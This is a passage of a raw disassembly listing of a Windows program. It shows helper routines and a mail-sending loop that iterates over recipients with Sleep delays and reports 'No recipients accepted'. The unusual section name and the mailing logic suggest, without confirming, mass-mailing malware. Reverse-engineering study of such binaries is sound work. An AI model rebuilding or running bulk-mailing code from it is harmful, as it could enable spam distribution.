pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_4070DE endp
; =============== S U B R O U T I N E =======================================
sub_407141 proc near ; CODE XREF: sub_40674E+73p
; sub_40B203+17p
mov eax, offset loc_41B211
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+0Ch]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov edi, ecx
mov [ebp-14h], eax
loc_40715F: ; CODE XREF: sub_407141+32j
cmp edi, [ebp+8]
jz short loc_40719E
push dword ptr [ebp+0Ch]
call sub_4073B7
add dword ptr [ebp+0Ch], 2Ch
add edi, 2Ch
jmp short loc_40715F
; ---------------------------------------------------------------------------
loc_407175: ; DATA XREF: .vty:00420B04o
mov edi, [ebp-14h]
jmp short loc_407190
; ---------------------------------------------------------------------------
loc_40717A: ; CODE XREF: sub_407141+52j
lea esi, [edi+1Ch]
call sub_405AAC
push 0
push 1
mov ecx, edi
call sub_4013C4
add edi, 2Ch
loc_407190: ; CODE XREF: sub_407141+37j
cmp edi, [ebp+0Ch]
jnz short loc_40717A
push 0
push 0
call sub_4107BC
loc_40719E: ; CODE XREF: sub_407141+21j
mov ecx, [ebp-0Ch]
mov eax, [ebp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_407141 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071B0 proc near ; CODE XREF: sub_406D1A+43p
; sub_406D1A+9Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
mov eax, [ebp+arg_0]
push edi
sub eax, ebx
push 38h
cdq
pop ecx
idiv ecx
mov edi, eax
imul edi, 38h
add edi, [ebp+arg_4]
cmp ebx, [ebp+arg_0]
jz short loc_4071F0
mov eax, [ebp+arg_4]
sub eax, ebx
push esi
mov [ebp+arg_4], eax
jmp short loc_4071DD
; ---------------------------------------------------------------------------
loc_4071DA: ; CODE XREF: sub_4071B0+3Dj
mov eax, [ebp+arg_4]
loc_4071DD: ; CODE XREF: sub_4071B0+28j
lea esi, [eax+ebx]
mov eax, ebx
call sub_4076C2
add ebx, 38h
cmp ebx, [ebp+arg_0]
jnz short loc_4071DA
pop esi
loc_4071F0: ; CODE XREF: sub_4071B0+1Dj
mov eax, edi
pop edi
pop ebx
pop ebp
retn
sub_4071B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071F6 proc near ; CODE XREF: sub_406D1A+EEp
; sub_409E2A+A0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4070DE
add esp, 10h
pop edi
leave
retn 8
sub_4071F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40721A proc near ; CODE XREF: sub_406E16+43p
; sub_406E16+9Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, eax
mov eax, [ebp+arg_0]
sub eax, edi
push 2Ch
cdq
pop ecx
idiv ecx
mov ebx, eax
imul ebx, 2Ch
add ebx, [ebp+arg_4]
cmp edi, [ebp+arg_0]
jz short loc_407258
mov eax, [ebp+arg_4]
sub eax, edi
mov [ebp+arg_4], eax
jmp short loc_407248
; ---------------------------------------------------------------------------
loc_407245: ; CODE XREF: sub_40721A+3Cj
mov eax, [ebp+arg_4]
loc_407248: ; CODE XREF: sub_40721A+29j
lea esi, [eax+edi]
call sub_4076E5
add edi, 2Ch
cmp edi, [ebp+arg_0]
jnz short loc_407245
loc_407258: ; CODE XREF: sub_40721A+1Fj
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn
sub_40721A endp
; =============== S U B R O U T I N E =======================================
sub_407260 proc near ; CODE XREF: sub_406F3C+48p
mov eax, offset loc_41AEF1
call sub_41AE44
push ecx
push esi
mov esi, [ebp+8]
push edi
mov ecx, esi
call sub_401C1E
and dword ptr [ebp-4], 0
lea eax, [esi+1Ch]
lea ecx, [edi+1Ch]
push eax
call sub_4072C2
mov eax, [edi+2Ch]
mov ecx, [ebp-0Ch]
mov [esi+2Ch], eax
mov eax, [edi+30h]
mov [esi+30h], eax
mov eax, [edi+34h]
mov [esi+34h], eax
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 4
sub_407260 endp
; =============== S U B R O U T I N E =======================================
sub_4072AA proc near ; CODE XREF: sub_406737:loc_40673Cp
; sub_4070DE:loc_407119p ...
push 0
push 1
lea ecx, [esi+1Ch]
call sub_4013C4
push 0
push 1
mov ecx, esi
call sub_4013C4
retn
sub_4072AA endp
; =============== S U B R O U T I N E =======================================
sub_4072C2 proc near ; CODE XREF: sub_407260+22p
mov eax, offset loc_41AFE4
call sub_41AE44
sub esp, 14h
push ebx
push esi
mov esi, [ebp+8]
mov ebx, ecx
push edi
mov eax, ebx
mov [ebp-10h], esp
call sub_405555
xor ecx, ecx
cmp eax, ecx
mov [esi+4], ecx
mov [esi+8], ecx
mov [esi+0Ch], ecx
jz short loc_407340
mov edi, esi
call sub_4073E1
test al, al
jz short loc_407340
and dword ptr [ebp-4], 0
mov eax, [ebx+8]
cmp [ebx+4], eax
mov [ebp-18h], eax
jbe short loc_40730F
call sub_40DCFC
loc_40730F: ; CODE XREF: sub_4072C2+46j
mov eax, [ebx+4]
cmp eax, [ebx+8]
mov [ebp-1Ch], eax
jbe short loc_40731F
call sub_40DCFC
loc_40731F: ; CODE XREF: sub_4072C2+56j
mov ecx, [esi+4]
xor eax, eax
lea edi, [ebp-14h]
stosb
push dword ptr [ebp-14h]
push dword ptr [ebp+8]
push ecx
push dword ptr [ebp-18h]
mov ecx, [ebp-1Ch]
call sub_40CB4B
add esp, 10h
mov [esi+8], eax
loc_407340: ; CODE XREF: sub_4072C2+2Cj
; sub_4072C2+37j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_4072C2 endp
; =============== S U B R O U T I N E =======================================
sub_407353 proc near ; DATA XREF: .vty:004204C8o
mov edi, [ebp+8]
call sub_406C09
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
sub_407353 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_407365 proc near ; CODE XREF: sub_407078+27p
; sub_40B35E+28p ...
mov eax, offset loc_41B3E6
call sub_41AE44
and dword ptr [ebp-4], 0
test ecx, ecx
jz short loc_40737F
push dword ptr [ebp+8]
call sub_401C1E
loc_40737F: ; CODE XREF: sub_407365+10j
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
leave
retn 4
sub_407365 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40738D proc near ; CODE XREF: sub_4070DE+28p
; sub_40B28F+28p
mov eax, offset loc_41B3E6
call sub_41AE44
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+8], 0
jz short loc_4073A9
push dword ptr [ebp+8]
call sub_407525
loc_4073A9: ; CODE XREF: sub_40738D+12j
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
leave
retn 4
sub_40738D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4073B7 proc near ; CODE XREF: sub_407141+26p
; sub_40B2EF+29p
mov eax, offset loc_41B3E6
call sub_41AE44
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+8], 0
jz short loc_4073D3
push dword ptr [ebp+8]
call sub_407560
loc_4073D3: ; CODE XREF: sub_4073B7+12j
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
leave
retn 4
sub_4073B7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4073E1 proc near ; CODE XREF: sub_4072C2+30p
push esi
mov esi, eax
cmp esi, 2C8590Bh
jbe short loc_4073F1
jmp sub_40684D
; ---------------------------------------------------------------------------
loc_4073F1: ; CODE XREF: sub_4073E1+9j
mov ecx, esi
call sub_40740A
imul esi, 5Ch
add esi, eax
mov [edi+4], eax
mov [edi+8], eax
mov [edi+0Ch], esi
mov al, 1
pop esi
retn
sub_4073E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40740A proc near ; CODE XREF: sub_4073E1+12p
; sub_40C3E5+9Ap
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_407422
xor ecx, ecx
loc_407416: ; CODE XREF: sub_40740A+22j
imul ecx, 5Ch
push ecx
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_407422: ; CODE XREF: sub_40740A+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 5Ch
jnb short loc_407416
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_40740A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_407454 proc near ; CODE XREF: sub_403151+CEp
mov eax, offset loc_41B3D7
call sub_41AE44
sub esp, 18h
push ebx
push esi
mov esi, [ebp+1Ch]
push edi
mov edi, [ebp+18h]
and dword ptr [ebp-4], 0
mov [ebp-10h], esp
mov [ebp-1Ch], edi
mov [ebp-18h], esi
loc_407477: ; CODE XREF: sub_407454+6Dj
test edi, edi
jz short loc_407480
cmp edi, [ebp+20h]
jz short loc_407485
loc_407480: ; CODE XREF: sub_407454+25j
call sub_40DCFC
loc_407485: ; CODE XREF: sub_407454+2Aj
cmp esi, [ebp+24h]
jz loc_407514
test edi, edi
jnz short loc_407497
call sub_40DCFC
loc_407497: ; CODE XREF: sub_407454+3Cj
cmp esi, [edi+4]
jnz short loc_4074A1
call sub_40DCFC
loc_4074A1: ; CODE XREF: sub_407454+46j
push dword ptr [ebp+14h]
add esi, 8
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+8]
call sub_406CEA
lea esi, [ebp+18h]
call sub_405D8F
mov esi, [ebp+1Ch]
mov edi, [ebp+18h]
jmp short loc_407477
; ---------------------------------------------------------------------------
loc_4074C3: ; CODE XREF: sub_407454+B5j
mov eax, [ebp-1Ch]
test eax, eax
jz short loc_4074CF
cmp eax, [ebp+18h]
jz short loc_4074D4
loc_4074CF: ; CODE XREF: sub_407454+74j
call sub_40DCFC
loc_4074D4: ; CODE XREF: sub_407454+79j
mov eax, [ebp-18h]
cmp eax, [ebp+1Ch]
jz short loc_40750B
mov eax, [ebp+10h]
mov [ebp+20h], eax
mov eax, [ebp+14h]
lea esi, [ebp+20h]
mov [ebp+24h], eax
call sub_405967
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp-24h]
push eax
push dword ptr [ebp+8]
call sub_406631
lea esi, [ebp-1Ch]
call sub_405D8F
jmp short loc_4074C3
; ---------------------------------------------------------------------------
loc_40750B: ; CODE XREF: sub_407454+86j
push 0
push 0
call sub_4107BC
loc_407514: ; CODE XREF: sub_407454+34j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 20h
sub_407454 endp
; =============== S U B R O U T I N E =======================================
sub_407525 proc near ; CODE XREF: sub_40738D+17p
; sub_409E2A+1Ap
mov eax, offset loc_41AEF1
call sub_41AE44
push esi
mov esi, [ebp+8]
push edi
mov edi, ecx
push edi
mov ecx, esi
call sub_401C1E
and dword ptr [ebp-4], 0
add edi, 1Ch
push edi
lea ecx, [esi+1Ch]
call sub_401C1E
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_407525 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_407560 proc near ; CODE XREF: sub_4073B7+17p
; sub_40A022+1Cp
mov eax, offset loc_41AEF1
call sub_41AE44
push ecx
push esi
mov esi, [ebp+8]
push edi
mov ecx, esi
call sub_401C1E
and dword ptr [ebp-4], 0
lea eax, [esi+1Ch]
lea ecx, [edi+1Ch]
push eax
call sub_4075BC
mov ecx, [ebp-0Ch]
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 4
sub_407560 endp
; =============== S U B R O U T I N E =======================================
sub_407598 proc near ; CODE XREF: sub_406C09:loc_406C17p
; sub_40BDCD+19Cp ...
push 0
push 1
lea ecx, [esi+38h]
call sub_4013C4
push 0
push 1
lea ecx, [esi+1Ch]
call sub_4013C4
push 0
push 1
mov ecx, esi
call sub_4013C4
retn
sub_407598 endp
; =============== S U B R O U T I N E =======================================
sub_4075BC proc near ; CODE XREF: sub_407560+22p
; sub_4081BF+29Bp ...
mov eax, offset loc_41B207
call sub_41AE44
sub esp, 14h
push ebx
push esi
mov esi, [ebp+8]
mov ebx, ecx
push edi
mov eax, ebx
mov [ebp-10h], esp
call sub_4057B6
xor ecx, ecx
cmp eax, ecx
mov [esi+4], ecx
mov [esi+8], ecx
mov [esi+0Ch], ecx
jz short loc_40763A
mov edi, esi
call sub_405A66
test al, al
jz short loc_40763A
and dword ptr [ebp-4], 0
mov eax, [ebx+8]
cmp [ebx+4], eax
mov [ebp-18h], eax
jbe short loc_407609
call sub_40DCFC
loc_407609: ; CODE XREF: sub_4075BC+46j
mov eax, [ebx+4]
cmp eax, [ebx+8]
mov [ebp-1Ch], eax
jbe short loc_407619
call sub_40DCFC
loc_407619: ; CODE XREF: sub_4075BC+56j
mov ecx, [esi+4]
xor eax, eax
lea edi, [ebp-14h]
stosb
push dword ptr [ebp-14h]
push dword ptr [ebp+8]
push ecx
push dword ptr [ebp-18h]
mov ecx, [ebp-1Ch]
call sub_407078
add esp, 10h
mov [esi+8], eax
loc_40763A: ; CODE XREF: sub_4075BC+2Cj
; sub_4075BC+37j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_4075BC endp
; =============== S U B R O U T I N E =======================================
sub_40764D proc near ; DATA XREF: .vty:00420AACo
mov esi, [ebp+8]
call sub_405AAC
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
sub_40764D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40765F proc near ; CODE XREF: sub_406B60+17p
mov eax, offset loc_41B5AC
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+0Ch]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov esi, ecx
mov [ebp-14h], eax
loc_40767D: ; CODE XREF: sub_40765F+34j
cmp esi, [ebp+8]
jz short loc_4076B0
push dword ptr [ebp+0Ch]
mov ecx, esi
call sub_406F12
add dword ptr [ebp+0Ch], 74h
add esi, 74h
jmp short loc_40767D
; ---------------------------------------------------------------------------
loc_407695: ; DATA XREF: .vty:004212ACo
mov edi, [ebp-14h]
jmp short loc_4076A2
; ---------------------------------------------------------------------------
loc_40769A: ; CODE XREF: sub_40765F+46j
call sub_405989
add edi, 74h
loc_4076A2: ; CODE XREF: sub_40765F+39j
cmp edi, [ebp+0Ch]
jnz short loc_40769A
push 0
push 0
call sub_4107BC
loc_4076B0: ; CODE XREF: sub_40765F+21j
mov ecx, [ebp-0Ch]
mov eax, [ebp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_40765F endp
; =============== S U B R O U T I N E =======================================
sub_4076C2 proc near ; CODE XREF: sub_4071B0+32p
; sub_409E2A+173p ...
push edi
push 0FFFFFFFFh
mov edi, eax
push 0
push edi
mov ecx, esi
call sub_401315
push 0FFFFFFFFh
push 0
add edi, 1Ch
push edi
lea ecx, [esi+1Ch]
call sub_401315
mov eax, esi
pop edi
retn
sub_4076C2 endp
; =============== S U B R O U T I N E =======================================
sub_4076E5 proc near ; CODE XREF: sub_40721A+31p
; sub_40B227+32p
push ebx
push 0FFFFFFFFh
push 0
push edi
mov ecx, esi
call sub_401315
lea ebx, [edi+1Ch]
lea eax, [esi+1Ch]
call sub_4056BC
mov eax, esi
pop ebx
retn
sub_4076E5 endp
; =============== S U B R O U T I N E =======================================
sub_407701 proc near ; CODE XREF: sub_40CA70+28p
; sub_40CB4B+26p
mov eax, offset loc_41B3E6
call sub_41AE44
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+8], 0
jz short loc_40771D
push dword ptr [ebp+8]
call sub_40772B
loc_40771D: ; CODE XREF: sub_407701+12j
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
leave
retn 4
sub_407701 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40772B proc near ; CODE XREF: sub_407701+17p
; sub_40C3E5+1Cp
mov eax, offset loc_41AEDF
call sub_41AE44
push esi
mov esi, [ebp+8]
push edi
mov ecx, esi
call sub_401C1E
and dword ptr [ebp-4], 0
lea eax, [edi+1Ch]
push eax
lea ecx, [esi+1Ch]
call sub_401C1E
lea eax, [edi+38h]
push eax
lea ecx, [esi+38h]
mov byte ptr [ebp-4], 1
call sub_401C1E
mov eax, [edi+54h]
mov ecx, [ebp-0Ch]
mov [esi+54h], eax
mov al, [edi+58h]
mov [esi+58h], al
mov al, [edi+59h]
mov [esi+59h], al
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_40772B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407784 proc near ; DATA XREF: .vty:0041EB68o
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = byte ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset SEH_407C9A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 88h
push ebx
push esi
xor esi, esi
mov ebx, ecx
push edi
mov [esp+0A0h+var_90], ebx
mov [esp+0A0h+var_70], esi
mov [esp+0A0h+var_6C], esi
mov [esp+0A0h+var_68], esi
push 0Fh
pop edi
mov [esp+0A0h+var_4], esi
push esi
lea ecx, [esp+0A4h+var_2C]
mov [esp+0A4h+var_14], edi
call sub_401564
push esi
lea ecx, [esp+0A4h+var_48]
mov [esp+0A4h+var_30], edi
call sub_401564
push esi
lea ecx, [esp+0A4h+var_64]
mov [esp+0A4h+var_4C], edi
call sub_401564
lea ecx, [esp+0A0h+var_8C]
lea eax, [ebx+8]
push ecx
push eax
mov [esp+0A8h+var_88], eax
lea eax, [esp+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 3
mov edi, [ebx+4]
push eax
call sub_4027E7
test eax, eax
jle loc_4078F4
lea eax, [esp+0A0h+var_74]
mov [esp+0A0h+var_7C], eax
loc_407825: ; CODE XREF: sub_407784+168j
mov ecx, [ebx+4]
lea eax, [esp+0A0h+var_48]
push eax
lea eax, [esp+0A4h+var_64]
push eax
lea eax, [esp+0A8h+var_2C]
push eax
lea eax, [esp+0ACh+var_74]
push eax
call sub_402979
lea eax, [esp+0A0h+var_64]
push eax
lea eax, [esp+0A4h+var_48]
push eax
lea eax, [esp+0A8h+var_2C]
push eax
lea eax, [esp+0ACh+var_74]
push eax
push ebx
call sub_407949
mov esi, [esp+0A0h+var_70]
cmp esi, [esp+0A0h+var_6C]
jbe short loc_40786A
call sub_40DCFC
loc_40786A: ; CODE XREF: sub_407784+DFj
lea eax, [esp+0A0h+var_74]
mov [esp+0A0h+var_84], eax
mov [esp+0A0h+var_80], esi
loc_407876: ; CODE XREF: sub_407784+12Ej
mov esi, [esp+0A0h+var_6C]
cmp [esp+0A0h+var_70], esi
jbe short loc_407885
call sub_40DCFC
loc_407885: ; CODE XREF: sub_407784+FAj
mov [esp+0A0h+var_78], esi
lea edi, [esp+0A0h+var_7C]
lea esi, [esp+0A0h+var_84]
call sub_407BB6
test al, al
jz short loc_4078B4
call sub_409835
mov ecx, [esp+0A0h+var_90]
push dword ptr [ecx+4]
mov edi, [eax]
call sub_402BCF
call sub_407BD3
jmp short loc_407876
; ---------------------------------------------------------------------------
loc_4078B4: ; CODE XREF: sub_407784+114j
lea ebx, [esp+0A0h+var_74]
call sub_407B46
mov eax, [esp+0A0h+var_8C]
imul eax, 3E8h
push eax
call dword_41C090 ; Sleep
lea eax, [esp+0A0h+var_8C]
push eax
push [esp+0A4h+var_88]
mov eax, ebx
push eax
mov eax, [esp+0ACh+var_90]
mov edi, [eax+4]
call sub_4027E7
test eax, eax
mov ebx, [esp+0A0h+var_90]
jg loc_407825
xor esi, esi
loc_4078F4: ; CODE XREF: sub_407784+93j
mov eax, [esp+0A0h+var_88]
mov ebx, [ebx+4]
call sub_40290F
push esi
push 1
lea ecx, [esp+0A8h+var_64]
call sub_4013C4
push esi
push 1
lea ecx, [esp+0A8h+var_48]
call sub_4013C4
push esi
push 1
lea ecx, [esp+0A8h+var_2C]
call sub_4013C4
cmp [esp+0A0h+var_70], esi
jz short loc_407934
push [esp+0A0h+var_70]
call sub_40DD8A
pop ecx
loc_407934: ; CODE XREF: sub_407784+1A4j
mov ecx, [esp+0A0h+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_407784 endp
; =============== S U B R O U T I N E =======================================
sub_407949 proc near ; CODE XREF: sub_407784+D2p
mov eax, offset loc_41B1FD
call sub_41AE44
sub esp, 6Ch
or dword ptr [ebp-74h], 0FFFFFFFFh
push ebx
push esi
push edi
lea esi, [ebp-70h]
call sub_4012E2
mov edi, [ebp+8]
xor ebx, ebx
add edi, 10h
lea eax, [ebp-74h]
mov [ebp-4], ebx
call sub_40CCCC
mov esi, eax
call sub_40D211
test al, al
jnz short loc_407997
loc_407983: ; CODE XREF: sub_407949+62j
; sub_407949+79j ...
push esi
loc_407984: ; CODE XREF: sub_407949+185j
mov ebx, [ebp+0Ch]
lea eax, [ebp-70h]
push eax
call sub_408078
loc_407990: ; CODE XREF: sub_407949+1A2j
pop ecx
pop ecx
jmp loc_407B12
; ---------------------------------------------------------------------------
loc_407997: ; CODE XREF: sub_407949+38j
push dword ptr [ebp+14h]
lea ecx, [ebp-74h]
call sub_40CDF4
mov esi, eax
call sub_40D211
test al, al
jz short loc_407983
push dword ptr [ebp+18h]
lea eax, [ebp-74h]
push eax
call sub_40CF4A
mov esi, eax
call sub_40D211
test al, al
jz short loc_407983
mov esi, [ebp+0Ch]
mov edi, [esi+4]
cmp edi, [esi+8]
mov [ebp+14h], ebx
jbe short loc_4079D7
call sub_40DCFC
loc_4079D7: ; CODE XREF: sub_407949+87j
mov [ebp-14h], esi
mov [ebp-10h], edi
mov [ebp-1Ch], esi
loc_4079E0: ; CODE XREF: sub_407949+176j
mov edi, [esi+8]
cmp [esi+4], edi
jbe short loc_4079ED
call sub_40DCFC
loc_4079ED: ; CODE XREF: sub_407949+9Dj
mov [ebp-18h], edi
lea edi, [ebp-1Ch]
lea esi, [ebp-14h]
call sub_407BB6
test al, al
jz loc_407AD3
call sub_409835
push dword ptr [eax]
lea eax, [ebp-54h]
push eax
call sub_407BF3
pop ecx
pop ecx
mov edi, eax
mov esi, [ebp+8]
add esi, 8
mov byte ptr [ebp-4], 1
call sub_406402
push eax
lea eax, [ebp-38h]
push edi
push eax
call sub_407C46
add esp, 0Ch
mov edi, eax
lea esi, [ebp-14h]
mov byte ptr [ebp-4], 2
call sub_409835
mov esi, eax
push edi
lea eax, [ebp-74h]
push eax
call sub_40CFFD
mov ecx, [esi]
push ebx
mov [ecx+54h], eax
push 1
lea ecx, [ebp-38h]
call sub_4013C4
push ebx
push 1
lea ecx, [ebp-54h]
mov [ebp-4], bl
call sub_4013C4
lea esi, [ebp-14h]
call sub_409835
mov eax, [eax]
cmp [eax+54h], ebx
jl short loc_407AC4
call sub_409835
mov eax, [eax]
mov eax, [eax+54h]
call sub_40D211
test al, al
jz short loc_407A9E
inc dword ptr [ebp+14h]
call sub_409835
mov eax, [eax]
mov byte ptr [eax+58h], 1
jmp short loc_407AB4
; ---------------------------------------------------------------------------
loc_407A9E: ; CODE XREF: sub_407949+143j
call sub_409835
push 0FFFFFFFFh
push ebx
lea ecx, [ebp-70h]
push ecx
mov ecx, [eax]
add ecx, 38h
call sub_401315
loc_407AB4: ; CODE XREF: sub_407949+153j
lea esi, [ebp-14h]
call sub_407BD3
mov esi, [ebp+0Ch]
jmp loc_4079E0
; ---------------------------------------------------------------------------
loc_407AC4: ; CODE XREF: sub_407949+130j
call sub_409835
mov eax, [eax]
push dword ptr [eax+54h]
jmp loc_407984
; ---------------------------------------------------------------------------
loc_407AD3: ; CODE XREF: sub_407949+B4j
cmp [ebp+14h], ebx
jnz short loc_407AF0
push offset aNoRecipientsAc ; "No recipients accepted\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
jmp loc_407990
; ---------------------------------------------------------------------------
loc_407AF0: ; CODE XREF: sub_407949+18Dj
push dword ptr [ebp+10h]
lea ecx, [ebp-74h]
call sub_40D0B0
mov esi, eax
call sub_40D211
test al, al
jz loc_407983
lea ecx, [ebp-74h]
call sub_40D183
loc_407B12: ; CODE XREF: sub_407949+49j
lea eax, [ebp-74h]
call sub_40CCB1
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 14h
sub_407949 endp
; ---------------------------------------------------------------------------
loc_407B2B: ; CODE XREF: .vty:0041B4D3j
; .vty:0041B585j
mov eax, [esi+4]
test eax, eax
jz short loc_407B39
push eax
call sub_40DD8A
pop ecx
loc_407B39: ; CODE XREF: .vty:00407B30j
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407B46 proc near ; CODE XREF: sub_407784+134p
; sub_407C9A+14Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push esi
push edi
mov edi, [ebx+8]
cmp [ebx+4], edi
mov [ebp+var_4], edi
jbe short loc_407B5E
call sub_40DCFC
loc_407B5E: ; CODE XREF: sub_407B46+11j
mov esi, [ebx+4]
cmp esi, [ebx+8]
mov [ebp+var_8], esi
jbe short loc_407B6E
call sub_40DCFC
loc_407B6E: ; CODE XREF: sub_407B46+21j
mov [ebp+var_C], edi
mov [ebp+var_14], esi
lea edi, [ebp+var_10]
lea esi, [ebp+var_18]
mov [ebp+var_10], ebx
mov [ebp+var_18], ebx
call sub_407BB6
test al, al
jz short loc_407BB2
mov eax, [ebx+8]
sub eax, [ebp+var_4]
mov edx, [ebp+var_8]
sar eax, 2
mov ecx, eax
shl ecx, 2
test eax, eax
lea esi, [ecx+edx]
jle short loc_407BAF
push ecx
push [ebp+var_4]
push ecx
push edx
call sub_40D807
add esp, 10h
loc_407BAF: ; CODE XREF: sub_407B46+59j
mov [ebx+8], esi
loc_407BB2: ; CODE XREF: sub_407B46+41j
pop edi
pop esi
leave
retn
sub_407B46 endp
; =============== S U B R O U T I N E =======================================
sub_407BB6 proc near ; CODE XREF: sub_407784+10Dp
; sub_407949+ADp ...
mov eax, [esi]
test eax, eax
jz short loc_407BC0
cmp eax, [edi]
jz short loc_407BC5
loc_407BC0: ; CODE XREF: sub_407BB6+4j
call sub_40DCFC
loc_407BC5: ; CODE XREF: sub_407BB6+8j
mov eax, [esi+4]
xor ecx, ecx
cmp eax, [edi+4]
setnz cl
mov al, cl
retn
sub_407BB6 endp
; =============== S U B R O U T I N E =======================================
sub_407BD3 proc near ; CODE XREF: sub_407784+129p
; sub_407949+16Ep ...
cmp dword ptr [esi], 0
jnz short loc_407BDD
call sub_40DCFC
loc_407BDD: ; CODE XREF: sub_407BD3+3j
mov eax, [esi]
mov ecx, [esi+4]
cmp ecx, [eax+8]
jb short loc_407BEC
call sub_40DCFC
loc_407BEC: ; CODE XREF: sub_407BD3+12j
add dword ptr [esi+4], 4
mov eax, esi
retn
sub_407BD3 endp
; =============== S U B R O U T I N E =======================================
sub_407BF3 proc near ; CODE XREF: sub_407949+C5p
; sub_407E77+E4p
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 20h
and dword ptr [ebp-10h], 0
push ebx
push esi
push dword ptr [ebp+0Ch]
lea ecx, [ebp-2Ch]
call sub_401C1E
and dword ptr [ebp-4], 0
xor ebx, ebx
push 40h
inc ebx
mov esi, eax
call sub_40140F
mov ecx, [ebp+8]
push eax
call sub_401C1E
push 0
push ebx
lea ecx, [ebp-2Ch]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_407BF3 endp
; =============== S U B R O U T I N E =======================================
sub_407C46 proc near ; CODE XREF: sub_407949+E3p
; sub_407E77+102p
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 20h
and dword ptr [ebp-10h], 0
push esi
push dword ptr [ebp+0Ch]
lea ecx, [ebp-2Ch]
call sub_401C1E
mov esi, eax
mov eax, [ebp+10h]
and dword ptr [ebp-4], 0
push 0FFFFFFFFh
push 0
call sub_401F95
mov ecx, [ebp+8]
push eax
